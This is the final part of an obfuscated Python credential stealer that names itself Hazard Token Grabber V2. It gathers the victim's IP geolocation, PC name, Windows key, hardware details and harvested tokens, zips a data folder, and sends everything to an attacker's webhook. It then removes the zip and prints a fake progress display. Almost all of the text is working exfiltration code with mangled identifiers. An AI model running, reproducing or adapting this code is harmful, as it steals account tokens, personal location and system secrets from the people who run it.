        OO0OO0OO00OOOO0O0 =str (psutil .disk_usage ('/')[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:449
        O00O000O0O0O0O00O =httpx .get ("https://ipinfo.io/json").json ()#line:451
        OO00OO0O0OO00000O =O00O000O0O0O0O00O .get ('ip').replace (" ","᠎ ")#line:452
        OOOO0000OOO00O00O =O00O000O0O0O0O00O .get ('city').replace (" ","᠎ ")#line:453
        OOOOOOO0O0000000O =O00O000O0O0O0O00O .get ('country').replace (" ","᠎ ")#line:454
        OOOO000OO00O00OOO =O00O000O0O0O0O00O .get ('region').replace (" ","᠎ ")#line:455
        OOO0O00OO000OO0OO =O00O000O0O0O0O00O .get ('org').replace (" ","᠎ ")#line:456
        O0OO0OO00O0000O00 ="https://www.google.com/maps/search/google+map++"+O00O000O0O0O0O00O .get ('loc')#line:458
        _OOOO000OO00O0000O =os .path .join (O000O0O00O0O0OOOO .appdata ,f'Hazard.V2-[{os.getlogin()}].zip')#line:461
        OOOOOO0OOO0O0O00O =zipfile .ZipFile (_OOOO000OO00O0000O ,"w",zipfile .ZIP_DEFLATED )#line:462
        O00O0OO00O0O0OO00 =os .path .abspath (O000O0O00O0O0OOOO .dir )#line:463
        for O0O00O000OO0000O0 ,_OO0000O0OOOOOOOOO ,OOOOO00O0O0OOOO00 in os .walk (O000O0O00O0O0OOOO .dir ):#line:464
            for OOOO0O0OOO000OO0O in OOOOO00O0O0OOOO00 :#line:465
                O0OO000OO00OO00O0 =os .path .abspath (os .path .join (O0O00O000OO0000O0 ,OOOO0O0OOO000OO0O ))#line:466
                OO0OO0000OOO0OO0O =O0OO000OO00OO00O0 [len (O00O0OO00O0O0OO00 )+1 :]#line:467
                OOOOOO0OOO0O0O00O .write (O0OO000OO00OO00O0 ,OO0OO0000OOO0OO0O )#line:468
        OOOOOO0OOO0O0O00O .close ()#line:469
        OOOOOO0O0OOO000O0 =''#line:470
        for OO000OOO000O0OOOO in os .listdir (O000O0O00O0O0OOOO .dir ):#line:471
            OOOOOO0O0OOO000O0 +=f"・{OO000OOO000O0OOOO}\n"#line:472
        OO00OOO0O0OO0000O =''#line:473
        for OOO000O0O00000000 in O000O0O00O0O0OOOO .tokens :#line:474
            OO00OOO0O0OO0000O +=f'{OOO000O0O00000000}\n\n'#line:475
        O00OOO0OOO0OOOOOO =f"{len(OOOOO00O0O0OOOO00)} Files Found: "#line:476
        O0OO0OOO0000OO0OO ={'username' 'avatar_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Big_hazard.gif','embeds':[{'author':{'name':f'*{os.getlogin()}* Just ran Hazard Token Grabber.V2','url':'https://github.com/Rdimo/Hazard-Token-Grabber-V2','icon_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Small_hazard.gif'},'color':16119101 ,'description':f'[Google Maps Location]({O0OO0OO00O0000O00})','fields':[{'name':'\u200b','value':f'''```fix
                                IP:᠎ {OO00OO0O0OO00000O}
                                Org:᠎ {OOO0O00OO000OO0OO}
                                City:᠎ {OOOO0000OOO00O00O}
                                Region:᠎ {OOOO000OO00O00OOO}
                                Country:᠎ {OOOOOOO0O0000000O}```
                            '''.replace (' ',''),'inline':True },{'name':'\u200b','value':f'''```fix
                                PCName: {os.getenv('COMPUTERNAME').replace(" ", "᠎ ")}
                                WinKey:᠎ {OO00O00OO0O0OO000}
                                Platform:᠎ {OO0O0OOOO00OOO0O0}
                                DiskSpace:᠎ {OO0OO0OO00OOOO0O0}GB
                                Ram:᠎ {OOOOOO000O0OO0OO0}GB```
                            '''.replace (' ',''),'inline':True },{'name':'**Tokens:**','value':f'''```yaml
                                {OO00OOO0O0OO0000O if OO00OOO0O0OO0000O else "No tokens extracted"}``` 
                            '''.replace (' ',''),'inline':False },{'name':O00OOO0OOO0OOOOOO ,'value':f'''```ini
                                [
                                {OOOOOO0O0OOO000O0.strip()}
                                ]```
                            '''.replace (' ',''),'inline':False }],'footer':{'text':'🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2'}}]}#line:534
        httpx .post (O000O0O00O0O0OOOO .webhook ,json =O0OO0OOO0000OO0OO )#line:535
        with open (_OOOO000OO00O0000O ,'rb')as OO000OOO000O0OOOO :#line:536
            httpx .post (O000O0O00O0O0OOOO .webhook ,files ={'upload_file':OO000OOO000O0OOOO })#line:537
        os .remove (_OOOO000OO00O0000O )#line:538
if __name__ =="__main__"and os .name =="nt":#line:541
    asyncio .run (Hazard_Token_Grabber_V2 ().init ())#line:542
    console =Console ()#line:543
    tasks =[f"task {OOOOOO0OOO00000OO}"for OOOOOO0OOO00000OO in range (1 ,11 )]#line:544
    with console .status ("[bold green]Working on tasks...")as status :#line:545
        while tasks :#line:546
            task =tasks .pop (0 )#line:547
            sleep (1 )#line:548
            console .log (f"{task} complete")